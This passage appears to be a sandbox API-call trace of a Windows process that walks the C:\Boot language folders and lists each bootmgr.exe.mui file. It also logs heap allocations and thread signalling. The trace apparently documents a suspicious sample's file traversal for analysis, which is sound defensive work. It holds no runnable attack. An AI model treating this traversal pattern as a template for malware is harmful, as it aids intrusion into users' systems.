ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.955] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.955] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.955] GetProcessHeap () returned 0x6a0000 [0164.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.955] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0164.955] GetProcessHeap () returned 0x6a0000 [0164.955] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.170] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.170] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.170] SetEvent (hEvent=0x178) returned 1 [0165.170] ResetEvent (hEvent=0x17c) returned 1 [0165.172] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.172] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.173] GetProcessHeap () returned 0x6a0000 [0165.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.173] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0165.173] GetProcessHeap () returned 0x6a0000 [0165.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.173] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.173] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.173] SetEvent (hEvent=0x178) returned 1 [0165.173] ResetEvent (hEvent=0x17c) returned 1 [0165.175] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.175] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.175] GetProcessHeap () returned 0x6a0000 [0165.175] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.176] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0165.176] GetProcessHeap () returned 0x6a0000 [0165.176] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.176] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.176] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.176] SetEvent (hEvent=0x178) returned 1 [0165.176] ResetEvent (hEvent=0x17c) returned 1 [0165.178] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.178] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.178] GetProcessHeap () returned 0x6a0000 [0165.178] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.178] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0165.178] GetProcessHeap () returned 0x6a0000 [0165.178] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.179] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.179] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.179] SetEvent (hEvent=0x178) returned 1 [0165.179] ResetEvent (hEvent=0x17c) returned 1 [0165.186] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.186] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.186] GetProcessHeap () returned 0x6a0000 [0165.186] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.186] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0165.186] GetProcessHeap () returned 0x6a0000 [0165.186] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.186] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.186] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.186] SetEvent (hEvent=0x178) returned 1 [0165.187] ResetEvent (hEvent=0x17c) returned 1 [0165.188] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.188] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.189] GetProcessHeap () returned 0x6a0000 [0165.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.189] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0165.189] GetProcessHeap () returned 0x6a0000 [0165.189] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.189] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.189] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.189] SetEvent (hEvent=0x178) returned 1 [0165.189] ResetEvent (hEvent=0x17c) returned 1 [0165.191] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.191] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.191] GetProcessHeap () returned 0x6a0000 [0165.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.191] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0165.191] GetProcessHeap () returned 0x6a0000 [0165.191] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.192] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.192] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.192] SetEvent (hEvent=0x178) returned 1 [0165.192] ResetEvent (hEvent=0x17c) returned 1 [0165.194] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.194] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0165.194] GetProcessHeap () returned 0x6a0000 [0165.194] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0165.194] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0165.194] GetProcessHeap () returned 0x6a0000 [0165.194] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0165.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e70 [0165.194] FindNextFileW (in: hFindFile=0x794e70, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 